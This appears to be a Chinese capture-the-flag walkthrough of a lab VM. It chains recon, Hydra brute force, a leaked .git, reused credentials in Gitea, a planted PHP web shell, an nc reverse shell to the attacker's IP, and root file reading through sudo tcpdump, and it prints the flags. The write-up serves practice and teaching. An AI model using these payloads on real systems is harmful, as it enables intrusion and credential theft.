# 一、信息收集

首先进行网络探测，发现靶机IP地址。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.168 08:00:27:e4:26:5d       PCS Systemtechnik GmbH
...
```

确定目标IP为192.168.205.168，接下来进行端口扫描。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.168

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 15:14 GMT
Nmap scan report for 192.168.205.168
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
MAC Address: 08:00:27:E4:26:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
```

发现开放了22（SSH）、80（HTTP）、3000端口。

# 二、Web服务侦察

先查看80端口的Web服务，发现这是一个团队介绍页面。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.168

<!DOCTYPE html>
<html lang="zh-CN">
<head>
...
</head>
<body>
    <div class="container">
        <header>
            <div class="logo">Maze<span>-Sec</span></div>
            <p class="tagline">网络安全领域的精英团队，专注于渗透测试、漏洞研究与安全解决方
案</p>
        </header>

        <div class="main-content">
```

```
            <h2 class="section-title">关于我们</h2>
            <p>Maze-Sec 是一支由网络安全专家组成的精英团队...</p>

            <h2 class="section-title">团队成员</h2>
            <div class="team-grid">
                <div class="team-member">
                    <div class="member-name">HYH</div>
                    <div class="member-role">首席安全研究员</div>
                </div>
                <div class="team-member">
                    <div class="member-name">Ta0</div>
                    <div class="member-role">逆向工程专家</div>
                </div>
                <div class="team-member">
                    <div class="member-name">Todd</div>
                    <div class="member-role">安全开发工程师</div>
                </div>
                <div class="team-member">
                    <div class="member-name">Sublarge</div>
                    <div class="member-role">威胁情报分析师</div>
                </div>
            </div>
        </div>
    </div>
</body>
</html>
```

从页面中收集到几个潜在用户名：HYH、Ta0、Todd、Sublarge。同时启动Hydra对SSH进行暴力破解。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ hydra -L user -P 5000q.txt ssh://192.168.205.168 -f -I -u -e nsr -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak...
[DATA] attacking ssh://192.168.205.168:22/
```

# 三、目录爆破

对Web服务进行目录扫描，寻找隐藏的路径。

```
┌──(kali㉿kali)-[~]
└─$ dirsearch -q -u http://192.168.205.168

...
[15:20:35] 301 -  320B  - http://192.168.205.168/backups  ->
http://192.168.205.168/backups/
[15:20:35] 200 -  407B  - http://192.168.205.168/backups/
[15:20:36] 301 -  316B  - http://192.168.205.168/dev  ->
http://192.168.205.168/dev/
[15:20:37] 301 -  317B  - http://192.168.205.168/logs  ->
http://192.168.205.168/logs/
[15:20:37] 200 -  404B  - http://192.168.205.168/logs/
[15:20:39] 301 -  319B  - http://192.168.205.168/public  ->
http://192.168.205.168/public/
[15:20:39] 200 -  406B  - http://192.168.205.168/public/
...
```

发现了几个目录：backups、logs、public、dev。其中backups、logs、public都是空的，继续对/dev目录进行深入扫描。

```
┌──(kali㉿kali)-[~]
└─$ dirsearch -q -u http://192.168.205.168/dev
...
[15:21:58] 301 -  321B  - http://192.168.205.168/dev/.git  ->
http://192.168.205.168/dev/.git/
[15:21:58] 200 -  669B  - http://192.168.205.168/dev/.git/
[15:21:58] 200 -   23B  - http://192.168.205.168/dev/.git/HEAD
[15:21:58] 200 -  260B  - http://192.168.205.168/dev/.git/config
...
[15:22:02] 200 -  529B  - http://192.168.205.168/dev/config.txt
```

发现了一个Git仓库和配置文件!

# 四、Git信息泄露利用

使用git-dumper工具下载整个Git仓库。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ git-dumper http://192.168.205.168/dev/ .
Warning: Destination '.' is not empty
[-] Testing http://192.168.205.168/dev/.git/HEAD [200]
[-] Testing http://192.168.205.168/dev/.git/ [200]
[-] Fetching .git recursively
...
```

成功下载后查看文件内容：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ls -la
总计 62
...
-rwxr-xr-x 1 kali kali   757  9月 7日 15:23 config.txt
drwxr-xr-x 1 kali kali  4096  9月 7日 15:23 .git
```

```
-rwxr-xr-x 1 kali kali  8707  9月 7日 15:23 index.html



┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat config.txt
# Maze-Sec 项目配置
...
[database]
# 数据库配置（示例）
host = db.maze-sec.internal
port = 3306
name = maze_sec
user = gitea
password = xxoo123456
...
```

在配置文件中发现了重要信息：数据库用户名为gitea，密码为xxoo123456。尝试用这个凭据登录SSH失败。

# 五、Gitea服务利用

检查3000端口，发现运行着Gitea服务。使用获得的凭据gitea:xxoo123456成功登录Gitea。

在Gitea中发现仓库结构与/dev目录类似，怀疑存在自动同步机制。测试在Gitea中添加PHP文件：

**添加测试文件phpinfo.php：**

```
<?php
phpinfo();
?>
```

提交后访问/dev/phpinfo.php返回404。等待一段时间后发现有定时任务触发同步。

**添加命令执行文件cmd.php：**

```
<?php
exec($_GET["cmd"])
?>
```

提交变更后等待同步。当文件同步成功时，访问该文件会返回500状态码而非404。

# 六、获取Shell

通过cmd.php执行命令反弹shell：

```
# 触发反弹shell
http://192.168.205.168/dev/cmd.php?cmd=busybox%20nc%20192.168.205.128%208888%20-e%20/bin/bash
```

成功获得www-data权限的shell：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.168] 60904
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

# 七、权限提升

稳定shell后进行信息收集：

```
www-data@Team2:/var/www/html/dev$ sudo -l
[sudo] password for www-data:
sudo: a password is required

www-data@Team2:/var/www/html/dev$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =
cap_net_bind_service,cap_net_admin+ep
```

检查用户目录和文件权限：

```
www-data@Team2:/home$ ls -al
total 16
drwxr-xr-x  4 root  root  4096 Sep  3 04:54 .
drwxr-xr-x 18 root  root  4096 Mar 18 20:37 ..
drwxr-xr-x  3 gitea gitea 4096 Sep  3 06:16 gitea
drwxr-xr-x  2 todd  todd  4096 Sep  3 06:16 todd

www-data@Team2:/home/todd$ cat user.txt
flag{user-389c9909b8d6a701217a45104de7aa21}
```

获得用户flag。继续寻找权限提升路径：

```
www-data@Team2:/home/todd$ find / -user todd 2>/dev/null
...
/etc/todd
/etc/todd/config.txt
/etc/todd/.git
...

www-data@Team2:/etc/todd$ cat config.txt
root:root123
```

发现todd用户的配置文件，但root:root123的凭据无法直接使用。查找gitea相关文件：

```
www-data@Team2:/etc/todd$ cat /etc/gitea/app.ini
...
[database]
DB_TYPE = mysql
HOST = localhost:3306
NAME = gitea
USER = gitea
PASSWD = GiteaDBPass123!
;todd = todd123
...
```

在Gitea配置文件中发现注释：todd = todd123。尝试使用这个密码切换到todd用户：

```
www-data@Team2:/etc/todd$ su todd
Password: todd123
todd@Team2:/etc/todd$ id
uid=1000(todd) gid=1000(todd) groups=1000(todd)
```

成功切换到todd用户。

# 八、获取Root权限

检查todd用户的sudo权限：

```
todd@Team2:/etc/todd$ sudo -l
Matching Defaults entries for todd on Team2:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User todd may run the following commands on Team2:
    (ALL) NOPASSWD: /usr/bin/tcpdump
```

**利用tcpdump的sudo权限获取root flag**

tcpdump具有文件读取功能，可以通过-V参数尝试读取文件。当文件不存在时会显示文件内容作为错误信息：

```
todd@Team2:/etc/todd$ sudo -u root /usr/bin/tcpdump -V /root/root.txt
tcpdump: flag{root-39f5db9cc390378373b0828ce85caf85}: No such file or directory
```

成功获取root flag：`flag{root-39f5db9cc390378373b0828ce85caf85}`